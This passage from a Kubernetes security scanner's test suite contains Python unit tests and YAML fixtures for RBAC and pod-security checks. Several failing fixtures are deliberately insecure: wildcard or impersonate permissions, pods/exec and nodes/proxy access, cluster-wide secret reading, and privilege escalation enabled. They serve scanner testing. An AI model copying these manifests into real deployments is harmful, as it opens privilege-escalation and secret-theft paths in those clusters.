    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.TillerService import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestTillerService(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_TillerService\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 0)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_WildcardRoles.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.WildcardRoles import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestWildcardRoles(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_WildcardRoles\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Role.test.test-should-pass-3',\n            'Role.test.test-should-pass-2'\n        }\n        failing_resources = {\n            'Role.test.test-should-fail-1',\n            'Role.test.test-should-fail-2',\n            'ClusterRole.test.test-should-fail-3'\n        }\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_k8s_check_utils.py",
    "content": "from checkov.kubernetes.checks.resource.k8s.k8s_check_utils import extract_commands\n\n\ndef test_non_int_extract_commands() -> None:\n    conf = {'command': ['kube-apiserver', '--encryption-provider-config=config.file']}\n\n    keys, values = extract_commands(conf)\n    assert keys == ['kube-apiserver', '--encryption-provider-config']\n    assert values == ['', 'config.file']\n\n\ndef test_int_extract_commands() -> None:\n    conf = {'command': ['kube-apiserver', '--encryption-provider-config=config.file', '-p', 9082]}\n\n    keys, values = extract_commands(conf)\n    assert keys == ['kube-apiserver', '--encryption-provider-config', '-p', 9082]\n    assert values == ['', 'config.file', '', '']\n"
  },
  {
    "path": "tests/kubernetes/checks/test_wildcard_entities.py",
    "content": "import os\nimport unittest\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\nfrom checkov.kubernetes.checks.resource.registry import registry\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass KubernetesCheck(BaseK8Check):\n\n    def __init__(self):\n        name = \"Kubernetes test\"\n        id = \"CKV_T_1\"\n        supported_kind = ['Pod*Policy']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf):\n        return CheckResult.PASSED\n\n\nclass TestWildcardEntities(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        check = KubernetesCheck()\n\n        test_files_dir = current_dir + \"/example_WildcardEntities\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        registry.wildcard_checks['Pod*Policy'].remove(check)\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/graph/__init__.py",
    "content": ""
  },
  {
    "path": "tests/kubernetes/graph/base_graph_tests.py",
    "content": "from copy import deepcopy\nfrom unittest import TestCase\n\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType\nfrom checkov.kubernetes.graph_builder.graph_components.blocks import KubernetesBlock\n\n\nclass TestGraph(TestCase):\n    def assert_vertex(self, resource_vertex, resource):\n        resource_name = f'{resource[\"kind\"]}.{resource[\"metadata\"].get(\"namespace\", \"default\")}.{resource[\"metadata\"][\"name\"]}'\n        config = deepcopy(resource)\n        attributes = deepcopy(config)\n        enrich_attributes(attributes, resource)\n\n        self.assertEqual(resource_name, resource_vertex.name)\n        self.assertEqual(resource_name, resource_vertex.id)\n        self.assertEqual(BlockType.RESOURCE, resource_vertex.block_type)\n        self.assertEqual(\"Kubernetes\", resource_vertex.source)\n        self.assertDictEqual(config, resource_vertex.config)\n        self.assertDictEqual(attributes, resource_vertex.attributes)\n\n\ndef extract_inner_attributes(attributes):\n    attributes_to_add = {}\n    for attribute_key in attributes:\n        attribute_value = attributes[attribute_key]\n        if isinstance(attribute_value, dict) or (\n                isinstance(attribute_value, list) and len(attribute_value) > 0 and isinstance(attribute_value[0],\n                                                                                              dict)):\n            inner_attributes = KubernetesBlock.get_inner_attributes(attribute_key, attribute_value)\n            attributes_to_add.update(inner_attributes)\n    return attributes_to_add\n\n\ndef enrich_attributes(attributes, resource):\n    attributes[\"resource_type\"] = resource[\"kind\"]\n    attributes[\"__startline__\"] = resource[\"__startline__\"]\n    attributes[\"__endline__\"] = resource[\"__endline__\"]\n    attributes.update(extract_inner_attributes(attributes))\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/AllowPrivilegeEscalation/expected.yaml",
    "content": "pass:\n  - 'Pod.example-ns.nginx-ingress-controller-2.app.kubernetes.io/name-ingress-nginx.app.kubernetes.io/part-of-ingress-nginx'\nfail:\n  - 'Pod.example-ns.nginx-ingress-controller.app.kubernetes.io/name-ingress-nginx.app.kubernetes.io/part-of-ingress-nginx'\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/AllowPrivilegeEscalation/template.yaml",
    "content": "kind: DaemonSet\napiVersion: extensions/v1beta1\nmetadata:\n  name: nginx-ingress-controller\n  namespace: example-ns\n  labels:\n    app.kubernetes.io/name: ingress-nginx\n    app.kubernetes.io/part-of: ingress-nginx\nspec:\n  selector:\n    matchLabels:\n      app.kubernetes.io/name: ingress-nginx\n      app.kubernetes.io/part-of: ingress-nginx\n  template:\n    metadata:\n      labels:\n        app.kubernetes.io/name: ingress-nginx\n        app.kubernetes.io/part-of: ingress-nginx\n      annotations:\n        prometheus.io/port: \"10254\"\n        prometheus.io/scrape: \"true\"\n    spec:\n      serviceAccountName: nginx-ingress-serviceaccount\n      imagePullSecrets:\n      - name: private-repo\n      containers:\n        - name: nginx-ingress-controller\n          image: private_repo/private_image\n          args:\n            - /nginx-ingress-controller\n            - --configmap=$(POD_NAMESPACE)/nginx-configuration\n            - --tcp-services-configmap=$(POD_NAMESPACE)/tcp-services\n            - --udp-services-configmap=$(POD_NAMESPACE)/udp-services\n            - --publish-service=$(POD_NAMESPACE)/ingress-nginx\n            - --annotations-prefix=nginx.ingress.kubernetes.io\n            - --default-ssl-certificate=$(POD_NAMESPACE)/tls-cert\n          securityContext:\n            allowPrivilegeEscalation: true\n---\nkind: DaemonSet\napiVersion: extensions/v1beta1\nmetadata:\n  name: nginx-ingress-controller-2\n  namespace: example-ns\n  labels:\n    app.kubernetes.io/name: ingress-nginx\n    app.kubernetes.io/part-of: ingress-nginx\nspec:\n  selector:\n    matchLabels:\n      app.kubernetes.io/name: ingress-nginx\n      app.kubernetes.io/part-of: ingress-nginx\n  template:\n    metadata:\n      labels:\n        app.kubernetes.io/name: ingress-nginx\n        app.kubernetes.io/part-of: ingress-nginx\n      annotations:\n        prometheus.io/port: \"10254\"\n        prometheus.io/scrape: \"true\"\n    spec:\n      serviceAccountName: nginx-ingress-serviceaccount\n      imagePullSecrets:\n      - name: private-repo\n      containers:\n        - name: nginx-ingress-controller\n          image: private_repo/private_image\n          args:\n            - /nginx-ingress-controller\n            - --configmap=$(POD_NAMESPACE)/nginx-configuration\n            - --tcp-services-configmap=$(POD_NAMESPACE)/tcp-services\n            - --udp-services-configmap=$(POD_NAMESPACE)/udp-services\n            - --publish-service=$(POD_NAMESPACE)/ingress-nginx\n            - --annotations-prefix=nginx.ingress.kubernetes.io\n            - --default-ssl-certificate=$(POD_NAMESPACE)/tls-cert\n          securityContext:\n            allowPrivilegeEscalation: false\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/AllowedCapabilities/expected.yaml",
    "content": "pass:\n  - 'Pod.default.my-nginx.app-nginx'\nfail:\n  - 'Pod.default.cassandra.app-cassandra'\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/AllowedCapabilities/template.yaml",
    "content": "apiVersion: apps/v1\nkind: StatefulSet\nmetadata:\n  name: cassandra\n  labels:\n    app: cassandra\nspec:\n  serviceName: cassandra\n  replicas: 3\n  selector:\n    matchLabels:\n      app: cassandra\n  template:\n    metadata:\n      labels:\n        app: cassandra\n    spec:\n      terminationGracePeriodSeconds: 1800\n      containers:\n      - name: cassandra\n        image: gcr.io/google-samples/cassandra:v13\n        imagePullPolicy: Always\n        securityContext:\n          capabilities:\n            add:\n              - IPC_LOCK\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: my-nginx\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n      - name: nginx\n        image: nginx:1.14.2\n        ports:\n        - containerPort: 80\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ImpersonatePermissions/Failing/1/clusterrole1.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: failing-cr1\nrules:\n- apiGroups:\n    - \"\"\n  resources:\n    - \"serviceaccounts\"\n  verbs:\n    - \"*\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ImpersonatePermissions/Failing/1/clusterrolebinding1.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: failing-crb1\nsubjects:\n- kind: ServiceAccount\n  name: over-privileged-sa1\n  namespace: default\nroleRef:\n  kind: ClusterRole\n  name: failing-cr1\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ImpersonatePermissions/Failing/2/clusterrole2.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: failing-cr2\nrules:\n- apiGroups:\n    - \"\"\n  resources:\n    - \"users\"\n  verbs:\n    - \"impersonate\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ImpersonatePermissions/Failing/2/clusterrolebinding2.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: failing-crb2\nsubjects:\n- kind: ServiceAccount\n  name: over-privileged-sa2\n  namespace: prod\nroleRef:\n  kind: ClusterRole\n  name: failing-cr2\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ImpersonatePermissions/Failing/3/Role.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  namespace: default\n  name: risky-impersonate-role\nrules:\n  - apiGroups:\n      - \"*\"\n    resources:\n      - \"groups\"\n      - \"users\"\n      - \"serviceccounts\"\n      - \"*\"\n    verbs:\n      - \"impersonate\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ImpersonatePermissions/Failing/3/RoleBinding.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: sa-escalate\n  namespace: default\nsubjects:\n- kind: ServiceAccount\n  name: escalating-sa\n  namespace: dev\nroleRef:\n  kind: Role\n  name: risky-impersonate-role\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ImpersonatePermissions/Passing/1/clusterrole1.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: passing-cr1\nrules:\n- apiGroups:\n    - \"\"\n  resources:\n    - \"serviceaccounts\"\n  verbs:\n    - \"create\"\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ImpersonatePermissions/Passing/1/clusterrolebinding1.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: passing-crb1\nsubjects:\n- kind: ServiceAccount\n  name: over-privileged-sa1\n  namespace: default\nroleRef:\n  kind: ClusterRole\n  name: passing-cr1\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ImpersonatePermissions/expected.yaml",
    "content": "fail:\n  - \"ClusterRoleBinding.default.failing-crb1\"\n  - \"ClusterRoleBinding.default.failing-crb2\"\n  - \"RoleBinding.default.sa-escalate\"\npass:\n  - \"ClusterRoleBinding.default.passing-crb1\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/IsNotEmpty/Failing/deployment.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: failing-selector-deployment\nspec:\n  replicas: 2\n  # Intentionally leaving matchLabels empty\n  selector:\n    matchLabels: {}\n  template:\n    metadata:\n      labels:\n        app: my-failing-selector-app\n    spec:\n      containers:\n        - name: my-container\n          image: nginx:latest\n          ports:\n            - containerPort: 80"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/IsNotEmpty/Passing/deployment.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: passing-selector-deployment\nspec:\n  replicas: 2\n  selector:\n    matchLabels:\n      app: my-passing-selector-app\n  template:\n    metadata:\n      labels:\n        app: my-passing-selector-app\n    spec:\n      containers:\n        - name: my-container\n          image: nginx:latest\n          ports:\n            - containerPort: 80"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/IsNotEmpty/expected.yaml",
    "content": "pass:\n  - \"Deployment.default.passing-selector-deployment\"\nfail:\n  - \"Deployment.default.failing-selector-deployment\"\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ModifyServicesStatus/Failing/1/FailingClusterRole.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: failing-cr1\nrules:\n- apiGroups:\n    - \"rbac.authorization.k8s.io\"\n  resources:\n    - \"services/status\"\n  verbs:\n    - \"*\"\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ModifyServicesStatus/Failing/1/FailingClusterRoleBinding.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\n# This cluster role binding allows anyone in the \"manager\" group to read secrets in any namespace.\nkind: ClusterRoleBinding\nmetadata:\n  name: failing-crb1\nsubjects:\n- kind: ServiceAccount\n  name: over-privileged-sa1\n  namespace: default\nroleRef:\n  kind: ClusterRole\n  name: failing-cr1\n  apiGroup: rbac.authorization.k8s.io\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ModifyServicesStatus/Failing/2/FailingClusterRole.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: failing-cr2\nrules:\n- apiGroups:\n    - \"rbac.authorization.k8s.io\"\n  resources:\n    - \"*\"\n  verbs:\n    - \"bind\"\n    - \"update\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ModifyServicesStatus/Failing/2/FailingClusterRoleBinding.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: failing-crb2\nsubjects:\n- kind: ServiceAccount\n  name: over-privileged-sa2\n  namespace: prod\nroleRef:\n  kind: ClusterRole\n  name: failing-cr2\n  apiGroup: rbac.authorization.k8s.io\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ModifyServicesStatus/Passing/1/PassingClusterRole.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: passing-cr1\nrules:\n- apiGroups:\n    - \"rbac.authorization.k8s.io\"\n  resources:\n    - \"pods\"\n  verbs:\n    - \"update\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ModifyServicesStatus/Passing/1/PassingClusterRoleBinding.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: passing-crb1\nsubjects:\n- kind: ServiceAccount\n  name: not-that-privileged\n  namespace: default\nroleRef:\n  kind: ClusterRole\n  name: passing-cr1\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ModifyServicesStatus/Passing/2/PassingClusterRole.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: passing-cr2\nrules:\n- apiGroups:\n    - \"rbac.authorization.k8s.io\"\n  resources:\n    - \"*\"\n  verbs:\n    - \"bind\"\n    - \"create\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ModifyServicesStatus/Passing/2/PassingClusterRoleBinding.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: passing-crb2\nsubjects:\n- kind: User  # This should pass as the check only filters on `ServiceAccount/Node`\n  name: over-privileged-user\n  namespace: prod\nroleRef:\n  kind: ClusterRole\n  name: passing-cr2\n  apiGroup: rbac.authorization.k8s.io\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ModifyServicesStatus/expected.yaml",
    "content": "pass:\n  - \"ClusterRoleBinding.default.passing-crb1\"\n  - \"ClusterRoleBinding.default.passing-crb2\"\nfail:\n  - \"ClusterRoleBinding.default.failing-crb1\"\n  - \"ClusterRoleBinding.default.failing-crb2\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/1/clusterrole1.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: failing-cr1\nrules:\n- apiGroups:\n    - \"*\"\n  resources:\n    - \"pods/exec\"\n  verbs:\n    - \"*\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/1/clusterrolebinding1.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: failing-crb1\nsubjects:\n- kind: ServiceAccount\n  name: over-privileged-sa1\n  namespace: default\nroleRef:\n  kind: ClusterRole\n  name: failing-cr1\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/2/clusterrole2.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: failing-cr2\nrules:\n- apiGroups:\n    - \"\"\n  resources:\n    - \"nodes/proxy\"\n  verbs:\n    - \"create\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/2/clusterrolebinding2.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: failing-crb2\nsubjects:\n- kind: ServiceAccount\n  name: over-privileged-sa2\n  namespace: prod\nroleRef:\n  kind: ClusterRole\n  name: failing-cr2\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/3/role3.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: failing-role3\n  namespace: kube-system\nrules:\n- apiGroups:\n    - \"\"\n  resources:\n    - \"nodes/proxy\"\n    - \"pods\"\n  verbs:\n    - \"create\"\n    - \"list\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/3/rolebinding3.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: failing-rb3\n  namespace: kube-system\nsubjects:\n- kind: ServiceAccount\n  name: over-privileged-sa3\n  namespace: test\nroleRef:\n  kind: Role\n  name: failing-role3\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/4/clusterrole4.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: failing-cr4\nrules:\n- apiGroups:\n    - \"rbac.authorization.k8s.io\"\n  resources:\n    - \"*\"\n  verbs:\n    - \"bind\"\n    - \"create\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/4/clusterrolebinding4.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\n# This cluster role binding allows anyone in the \"manager\" group to read secrets in any namespace.\nkind: ClusterRoleBinding\nmetadata:\n  name: failing-crb4\nsubjects:\n- kind: ServiceAccount\n  name: over-privileged-sa4\n  namespace: prod\nroleRef:\n  kind: ClusterRole\n  name: failing-cr4\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/4/pod4.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: webserver\n  namespace: prod\nspec:\n  serviceAccountName: over-privileged-sa4\n  containers:\n  - name: webserver\n    image: nginx:latest\n    ports:\n    - containerPort: 80"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Passing/1/clusterrole1.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: passing-cr1\nrules:\n- apiGroups:\n   - \"*\"\n  resources:\n    - \"pods\"\n  verbs:\n    - \"*\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Passing/1/clusterrolebinding1.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: passing-crb1\nsubjects:\n- kind: User\n  name: just-a-user-so-its-ok\n  namespace: default\nroleRef:\n  kind: ClusterRole\n  name: passing-cr1\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Passing/2/clusterrole2.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: passing-cr2\nrules:\n- apiGroups:\n    - \"\"\n  resources:\n    - \"pods\"\n    - \"nodes/proxy\"\n  verbs:\n    - get"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Passing/2/clusterrolebinding2.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: passing-crb2\nsubjects:\n- kind: ServiceAccount\n  name: over-privileged-sa2\n  namespace: prod\nroleRef:\n  kind: ClusterRole\n  name: passing-cr2\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/expected.yaml",
    "content": "fail:\n  - \"ClusterRoleBinding.default.failing-crb1\"\n  - \"ClusterRoleBinding.default.failing-crb2\"\n  - \"RoleBinding.kube-system.failing-rb3\"\n  - \"ClusterRoleBinding.default.failing-crb4\"\npass:\n  - \"ClusterRoleBinding.default.passing-crb1\"\n  - \"ClusterRoleBinding.default.passing-crb2\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/NoDefaultNamespace/expected.yaml",
    "content": "pass:\n  - 'Pod.dev.nginx-deployment.app-nginx'\n  - 'Deployment.dev.nginx-deployment'\n  - 'Service.dev.nginx-service'"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/NoDefaultNamespace/template.yaml",
    "content": "apiVersion: v1\nkind: Namespace\nmetadata:\n  name: dev\n\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: nginx-deployment\n  namespace: dev\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n      - name: nginx\n        image: nginx:latest\n        ports:\n        - containerPort: 80\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: nginx-service\n  namespace: dev\nspec:\n  selector:\n    app: nginx\n  ports:\n  - protocol: TCP\n    port: 80\n    targetPort: 80\n  type: LoadBalancer"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/PodIsPubliclyAccessibleExample/Failing/Pod.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  app: nginx-pod\n  labels:\n    app: nginx-pod\nspec:\n  containers:\n  - name: nginx\n    image: nginx:1.14.2\n    ports:\n    - containerPort: 80"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/PodIsPubliclyAccessibleExample/Failing/Service.yaml",
    "content": "apiVersion: v1\nkind: Service\nmetadata:\n  name: my-service\nspec:\n  selector:\n    app: nginx-pod\n  ports:\n    - protocol: TCP\n      port: 80\n      targetPort: 9376\n  clusterIP: 10.0.171.239\n  type: LoadBalancer\nstatus:\n  loadBalancer:\n    ingress:\n    - ip: 192.0.2.127"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/PodIsPubliclyAccessibleExample/Passing/Pod.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  app: nginx-pod\n  labels:\n    app: no-service-attached\nspec:\n  containers:\n  - name: nginx\n    image: nginx:1.14.2\n    ports:\n    - containerPort: 80"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/PodIsPubliclyAccessibleExample/Passing/Service.yaml",
    "content": "apiVersion: v1\nkind: Service\nmetadata:\n  name: not-attached-to-any-pod\nspec:\n  selector:\n    app: not-exist\n  ports:\n    - protocol: TCP\n      port: 80\n      targetPort: 9376\n  clusterIP: 10.0.171.239\n  type: LoadBalancer\nstatus:\n  loadBalancer:\n    ingress:\n    - ip: 192.0.2.127"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/PodIsPubliclyAccessibleExample/expected.yaml",
    "content": "pass:\n  - Pod.default.app-no-service-attached\nfail:\n  - Pod.default.app-nginx-pod"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ReadAllSecrets/Failing/ClusterRole.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: secret-reader\nrules:\n- apiGroups:\n    - \"\"\n  resources:\n    - \"secrets\"\n  verbs:\n    - \"get\"\n    - \"watch\"\n    - \"list\"\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ReadAllSecrets/Failing/ClusterRoleBinding.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\n# This cluster role binding allows the pod \"pod1\" to read secrets in any namespace.\nkind: ClusterRoleBinding\nmetadata:\n  name: read-secrets-global\nsubjects:\n- kind: ServiceAccount\n  name: sa1\nroleRef:\n  kind: ClusterRole\n  name: secret-reader\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ReadAllSecrets/Passing/ClusterRole.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: pods-reader\nrules:\n- apiGroups:\n    - \"\"\n  resources:\n    - \"pods\"\n  verbs:\n    - \"get\"\n    - \"watch\"\n    - \"list\"\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ReadAllSecrets/Passing/ClusterRoleBinding.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\n# This cluster role binding allows the pod \"pod1\" to read secrets in any namespace.\nkind: ClusterRoleBinding\nmetadata:\n  name: read-pods-global\nsubjects:\n- kind: ServiceAccount\n  name: sa1\nroleRef:\n  kind: ClusterRole\n  name: pods-reader\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ReadAllSecrets/Passing/RoleResourceName.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: \"my-role\"\n  namespace: my-namespace\nrules:\n- apiGroups: [\"\"]\n  resources: [\"secrets\"]\n  resourceNames:\n    - \"my-secret-resource\"\n  verbs: [\"get\"]\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: \"my-role-binding\"\n  namespace: my-namespace\nsubjects:\n- kind: ServiceAccount\n  name: \"my-service-account\"\nroleRef:\n  kind: Role\n  name: \"my-role\"\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/ReadAllSecrets/expected.yaml",
    "content": "pass:\n  - \"ClusterRoleBinding.default.read-pods-global\"\n  - \"RoleBinding.my-namespace.my-role-binding\"\nfail:\n  - \"ClusterRoleBinding.default.read-secrets-global\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/RequireAllPodsToHaveNetworkPolicy/expected.yaml",
    "content": "pass:\n  - 'Pod.default.internal-proxy-deployment.app-internal-proxy'\nfail:\n  - 'Pod.default.external-proxy-deployment.app-external-proxy'"
  },
  {
